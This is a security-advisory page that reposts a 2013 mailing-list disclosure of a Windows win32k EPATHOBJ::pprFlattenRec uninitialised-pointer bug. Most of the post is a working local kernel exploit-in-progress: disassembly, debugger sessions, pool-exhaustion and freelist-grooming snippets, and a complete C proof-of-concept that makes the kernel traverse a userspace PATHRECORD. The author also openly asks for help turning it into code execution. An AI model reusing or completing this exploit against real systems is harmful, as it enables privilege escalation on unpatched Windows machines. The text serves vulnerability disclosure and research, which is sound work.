Microsoft win32k EPATHOBJ pprFlattenRec missing initialise the pointer

2013-05-18 / 2013-05-25
Credit: Tavis Ormandy
Risk: High
Local: Yes
Remote: No
CWE: N/A

List, there's a pretty obvious bug in win32k!EPATHOBJ::pprFlattenRec where the PATHREC object returned by win32k!EPATHOBJ::newpathrec doesn't initialise the next list pointer. The bug is really nice, but exploitation when allocations start failing is tricky. As vuln-dev is dead, I thought I'd post here, I don't have much free time to work on silly Microsoft code, so I'm looking for ideas on how to fix the final obstacle for exploitation. I first published details about this in March, but here's a recap: ; BOOL __thiscall EPATHOBJ::newpathrec(EPATHOBJ *this, PATHRECORD **pppr, ULONG *pcMax, ULONG cNeeded) .text:BFA122CA mov esi, [ebp+ppr] .text:BFA122CD mov eax, [esi+PATHRECORD.pprPrev] .text:BFA122D0 push edi .text:BFA122D1 mov edi, [ebp+pprNew] .text:BFA122D4 mov [edi+PATHRECORD.pprPrev], eax .text:BFA122D7 lea eax, [edi+PATHRECORD.count] .text:BFA122DA xor edx, edx .text:BFA122DC mov [eax], edx .text:BFA122DE mov ecx, [esi+PATHRECORD.flags] .text:BFA122E1 and ecx, not (PD_BEZIER) .text:BFA122E4 mov [edi+PATHRECORD.flags], ecx .text:BFA122E7 mov [ebp+pprNewCountPtr], eax .text:BFA122EA cmp [edi+PATHRECORD.pprPrev], edx .text:BFA122ED jnz short loc_BFA122F7 .text:BFA122EF mov ecx, [ebx+EPATHOBJ.ppath] .text:BFA122F2 mov [ecx+PATHOBJ.pprfirst], edi It turns out this mostly works because newpathrec() is backed by newpathalloc() which uses PALLOCMEM(). PALLOCMEM() will always zero the buffer returned. ; PVOID __stdcall PALLOCMEM(size_t size, int tag) .text:BF9160D7 xor esi, esi .text:BF9160DE push esi .text:BF9160DF push esi .text:BF9160E0 push [ebp+tag] .text:BF9160E3 push [ebp+size] .text:BF9160E6 call _HeavyAllocPool () 16 ; HeavyAllocPool(x,x,x,x) .text:BF9160EB mov esi, eax .text:BF9160ED test esi, esi .text:BF9160EF jz short loc_BF9160FF .text:BF9160F1 push [ebp+size] ; size_t .text:BF9160F4 push 0 ; int .text:BF9160F6 push esi ; void * .text:BF9160F7 call _memset However, the PATHALLOC allocator includes it's own freelist implementation, and if that codepath can satisfy a request the memory isn't zeroed and returned directly to the caller. This effectively means that we can add our own objects to the PATHRECORD chain. We can force this behaviour under memory pressure relatively easily, I just spam HRGN objects until they start failing. This isn't super reliable, but it's good enough for testing. // I don't use the simpler CreateRectRgn() because it leaks a GDI handle on // failure. Seriously, do some damn QA Microsoft, wtf. for (Size = 1 << 26; Size; Size >>= 1) { while (CreateRoundRectRgn(0, 0, 1, Size, 1, 1)) ; } Adding user controlled blocks to the freelist is a little trickier, but I've found that flattening large lists of bezier curves added with PolyDraw() can accomplish this reliably. The code to do this is something along the lines of: for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) { Points[PointNum].x = 0x41414141 >> 4; Points[PointNum].y = 0x41414141 >> 4; PointTypes[PointNum] = PT_BEZIERTO; } for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3) { BeginPath(Device); PolyDraw(Device, Points, PointTypes, PointNum); EndPath(Device); FlattenPath(Device); FlattenPath(Device); EndPath(Device); } We can verify this is working by putting a breakpoint after newpathrec, and verifying the buffer is filled with recognisable values when it returns: kd> u win32k!EPATHOBJ::pprFlattenRec+1E win32k!EPATHOBJ::pprFlattenRec+0x1e: 95c922b8 e8acfbffff call win32k!EPATHOBJ::newpathrec (95c91e69) 95c922bd 83f801 cmp eax,1 95c922c0 7407 je win32k!EPATHOBJ::pprFlattenRec+0x2f (95c922c9) 95c922c2 33c0 xor eax,eax 95c922c4 e944020000 jmp win32k!EPATHOBJ::pprFlattenRec+0x273 (95c9250d) 95c922c9 56 push esi 95c922ca 8b7508 mov esi,dword ptr [ebp+8] 95c922cd 8b4604 mov eax,dword ptr [esi+4] kd> ba e 1 win32k!EPATHOBJ::pprFlattenRec+23 "dd poi(ebp-4) L1; gc" kd> g fe938fac 41414140 fe938fac 41414140 fe938fac 41414140 fe938fac 41414140 fe938fac 41414140 The breakpoint dumps the first dword of the returned buffer, which matches the bezier points set with PolyDraw(). So convincing pprFlattenRec() to move EPATHOBJ->records->head->next->next into userspace is no problem, and we can easily break the list traversal in bFlattten(): BOOL __thiscall EPATHOBJ::bFlatten(EPATHOBJ *this) { EPATHOBJ *pathobj; // esi () 1 PATHOBJ *ppath; // eax () 1 BOOL result; // eax () 2 PATHRECORD *ppr; // eax () 3 pathobj = this; ppath = this->ppath; if ( ppath ) { for ( ppr = ppath->pprfirst; ppr; ppr = ppr->pprnext ) { if ( ppr->flags & PD_BEZIER ) { ppr = EPATHOBJ::pprFlattenRec(pathobj, ppr); if ( !ppr ) goto LABEL_2; } } pathobj->fl &= 0xFFFFFFFE; result = 1; } else { LABEL_2: result = 0; } return result; } All we have to do is allocate our own PATHRECORD structure, and then spam PolyDraw() with POINTFIX structures containing co-ordinates that are actually pointers shifted right by 4 (for this reason the structure must be aligned so the bits shifted out are all zero). We can see this in action by putting a breakpoint in bFlatten when ppr has moved into userspace: kd> u win32k!EPATHOBJ::bFlatten win32k!EPATHOBJ::bFlatten: 95c92517 8bff mov edi,edi 95c92519 56 push esi 95c9251a 8bf1 mov esi,ecx 95c9251c 8b4608 mov eax,dword ptr [esi+8] 95c9251f 85c0 test eax,eax 95c92521 7504 jne win32k!EPATHOBJ::bFlatten+0x10 (95c92527) 95c92523 33c0 xor eax,eax 95c92525 5e pop esi kd> u win32k!EPATHOBJ::bFlatten+0xf: 95c92526 c3 ret 95c92527 8b4014 mov eax,dword ptr [eax+14h] 95c9252a eb14 jmp win32k!EPATHOBJ::bFlatten+0x29 (95c92540) 95c9252c f6400810 test byte ptr [eax+8],10h 95c92530 740c je win32k!EPATHOBJ::bFlatten+0x27 (95c9253e) 95c92532 50 push eax 95c92533 8bce mov ecx,esi 95c92535 e860fdffff call win32k!EPATHOBJ::pprFlattenRec (95c9229a) So at 95c9252c eax is ppr->next, and the routine checks for the PD_BEZIERS flags (defined in winddi.h). Let's break if it's in userspace: kd> ba e 1 95c9252c "j (eax < poi(nt!MmUserProbeAddress)) 'gc'; ''" kd> g 95c9252c f6400810 test byte ptr [eax+8],10h kd> r eax=41414140 ebx=95c1017e ecx=97330bec edx=00000001 esi=97330bec edi=0701062d eip=95c9252c esp=97330be4 ebp=97330c28 iopl=0 nv up ei pl nz na po nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010202 win32k!EPATHOBJ::bFlatten+0x15: 95c9252c f6400810 test byte ptr [eax+8],10h ds:0023:41414148=?? The question is how to turn that into code execution? It's obviously trivial to call prFlattenRec with our userspace PATHRECORD..we can do that by setting PD_BEZIER in our userspace PATHRECORD, but the early exit on allocation failure poses a problem. Let me demonstrate calling it with my own PATHRECORD (this code is attached): // Create our PATHRECORD in userspace we will get added to the EPATHOBJ // pathrecord chain. PathRecord = VirtualAlloc(NULL, sizeof(PATHRECORD), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // Initialise with recognisable debugging values. FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC); PathRecord->next = (PVOID)(0x41414141); PathRecord->prev = (PVOID)(0x42424242); // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from // EPATHOBJ::bFlatten(), do that here. PathRecord->flags = PD_BEZIERS; // Generate a large number of Bezier Curves made up of pointers to our // PATHRECORD object. for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) { Points[PointNum].x = (ULONG)(PathRecord) >> 4; Points[PointNum].y = (ULONG)(PathRecord) >> 4; PointTypes[PointNum] = PT_BEZIERTO; } kd> ba e 1 win32k!EPATHOBJ::pprFlattenRec+28 "j (dwo(ebp+8) < dwo(nt!MmUserProbeAddress)) ''; 'gc'" kd> g win32k!EPATHOBJ::pprFlattenRec+0x28: 95c922c2 33c0 xor eax,eax kd> dd ebp+8 L1 a3633be0 00130000 The ppr object is in userspace! If we peek at it: kd> dd poi(ebp+8) 00130000 41414141 42424242 00000010 cccccccc 00130010 00000000 00000000 00000000 00000000 00130020 00000000 00000000 00000000 00000000 00130030 00000000 00000000 00000000 00000000 00130040 00000000 00000000 00000000 00000000 00130050 00000000 00000000 00000000 00000000 00130060 00000000 00000000 00000000 00000000 00130070 00000000 00000000 00000000 00000000 There's the next and prev pointer. kd> kvn # ChildEBP RetAddr Args to Child 00 a3633bd8 95c9253a 00130000 002bfea0 95c101ce win32k!EPATHOBJ::pprFlattenRec+0x28 (FPO: [Non-Fpo]) 01 a3633be4 95c101ce 00000001 00000294 fe763360 win32k!EPATHOBJ::bFlatten+0x23 (FPO: [0,0,4]) 02 a3633c28 829ab173 0701062d 002bfea8 7721a364 win32k!NtGdiFlattenPath+0x50 (FPO: [Non-Fpo]) 03 a3633c28 7721a364 0701062d 002bfea8 7721a364 nt!KiFastCallEntry+0x163 (FPO: [0,3] TrapFrame @ a3633c34) The question is how to get PATHALLOC() to succeed under memory pressure so we can make this exploitable, my first thought was have another thread manipulating the free pool, but I can't figure out how to synchronize that. Getting code execution should be trivial after this. I guess it's possible to just race it until we win, but this seems like an inelegant solution. Anyone have any ideas? I've been testing under this kernel: kd> vertarget Windows 7 Kernel Version 7601 (Service Pack 1) MP (1 procs) Checked x86 compatible Product: WinNt, suite: TerminalServer SingleUserTS Built by: 7601.17514.x86chk.win7sp1_rtm.101119-1850 Machine Name: Kernel base = 0x8280f000 PsLoadedModuleList = 0x82c55430 Debug session time: Fri May 17 14:14:24.723 2013 (UTC - 7:00) System Uptime: 49 days 16:12:11.803 (checked kernels begin at 49 days) I assume the same code exists in 8. Tavis. P.S. As far as I can tell, this code is pre-NT (20+ years) old, so remember to thank the SDL for solving security and reminding us that old code doesn't need to be reviewed ;-) #ifndef WIN32_NO_STATUS # define WIN32_NO_STATUS #endif #include <windows.h> #include <assert.h> #include <stdio.h> #include <stddef.h> #include <winnt.h> #ifdef WIN32_NO_STATUS # undef WIN32_NO_STATUS #endif #include <ntstatus.h> #pragma comment(lib, "gdi32") #pragma comment(lib, "kernel32") #pragma comment(lib, "user32") #define MAX_POLYPOINTS (8192 * 3) #define MAX_REGIONS 8192 // // win32k!EPATHOBJ::pprFlattenRec uninitialized Next pointer testcase. // // Tavis Ormandy <taviso () cmpxchg8b com>, March 2013 // POINT Points[MAX_POLYPOINTS]; BYTE PointTypes[MAX_POLYPOINTS]; HRGN Regions[MAX_REGIONS]; ULONG NumRegion; // Log levels. typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, *PLEVEL; BOOL LogMessage(LEVEL Level, PCHAR Format, ...); // Copied from winddi.h from the DDK #define PD_BEGINSUBPATH 0x00000001 #define PD_ENDSUBPATH 0x00000002 #define PD_RESETSTYLE 0x00000004 #define PD_CLOSEFIGURE 0x00000008 #define PD_BEZIERS 0x00000010 typedef struct _POINTFIX { ULONG x; ULONG y; } POINTFIX, *PPOINTFIX; // Approximated from reverse engineering. typedef struct _PATHRECORD { struct _PATHRECORD *next; struct _PATHRECORD *prev; ULONG flags; ULONG count; POINTFIX points[0]; } PATHRECORD, *PPATHRECORD; int main(int argc, char **argv) { HDC Device; ULONG Size; HRGN Buffer; ULONG PointNum; ULONG Count; PPATHRECORD PathRecord; // Create our PATHRECORD in userspace we will get added to the EPATHOBJ // pathrecord chain. PathRecord = VirtualAlloc(NULL, sizeof(PATHRECORD), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); LogMessage(L_INFO, "alllocated userspace PATHRECORD () %p", PathRecord); // Initialise with recognisable debugging values. FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC); PathRecord->next = (PVOID)(0x41414141); PathRecord->prev = (PVOID)(0x42424242); // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from // EPATHOBJ::bFlatten(), do that here. //PathRecord->flags = PD_BEZIERS; PathRecord->flags = 0; LogMessage(L_INFO, " ->next @ %p", PathRecord->next); LogMessage(L_INFO, " ->prev @ %p", PathRecord->prev); LogMessage(L_INFO, "creating complex bezier path with %#X", (ULONG)(PathRecord) >> 4); // Generate a large number of Bezier Curves made up of pointers to our // PATHRECORD object. for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) { Points[PointNum].x = (ULONG)(PathRecord) >> 4; Points[PointNum].y = (ULONG)(PathRecord) >> 4; PointTypes[PointNum] = PT_BEZIERTO; } // Comment this line to continue after bFlatten(). //VirtualFree(PathRecord, 0, MEM_RELEASE); // Switch to a dedicated desktop so we don't spam the visible desktop with // our Lines (Not required, just stops the screen from redrawing slowly). SetThreadDesktop(CreateDesktop("DontPanic", NULL, NULL, 0, GENERIC_ALL, NULL)); while (TRUE) { // Get a handle to this Desktop. Device = GetDC(NULL); // We need to cause a specific AllocObject() to fail to trigger the // exploitable condition. To do this, I create a large number of rounded // rectangular regions until they start failing. I don't think it matters // what you use to exhaust paged memory, there is probably a better way. // // I don't use the simpler CreateRectRgn() because it leaks a GDI handle on // failure. Seriously, do some damn QA Microsoft, wtf. for (Size = 1 << 26; Size; Size >>= 1) { while (Regions[NumRegion] = CreateRoundRectRgn(0, 0, 1, Size, 1, 1)) NumRegion++; } LogMessage(L_INFO, "allocated %u HRGN objects", NumRegion); LogMessage(L_INFO, "flattening curves..."); // Begin filling the free list with our points. for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3) { BeginPath(Device); PolyDraw(Device, Points, PointTypes, PointNum); EndPath(Device); FlattenPath(Device); FlattenPath(Device); EndPath(Device); } // Clean up the region objects. while (NumRegion--) { DeleteObject(Regions[NumRegion]); } LogMessage(L_INFO, "restarting...", PointNum); ReleaseDC(NULL, Device); } return 0; } // A quick logging routine for debug messages. BOOL LogMessage(LEVEL Level, PCHAR Format, ...) { CHAR Buffer[1024] = {0}; va_list Args; va_start(Args, Format); vsnprintf_s(Buffer, sizeof Buffer, _TRUNCATE, Format, Args); va_end(Args); switch (Level) { case L_DEBUG: fprintf(stdout, "[?] %s\n", Buffer); break; case L_INFO: fprintf(stdout, "[+] %s\n", Buffer); break; case L_WARN: fprintf(stderr, "[*] %s\n", Buffer); break; case L_ERROR: fprintf(stderr, "[!] %s\n\a", Buffer); break; } fflush(stdout); fflush(stderr); return TRUE; }

References:

http://seclists.org/fulldisclosure/2013/May/91


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top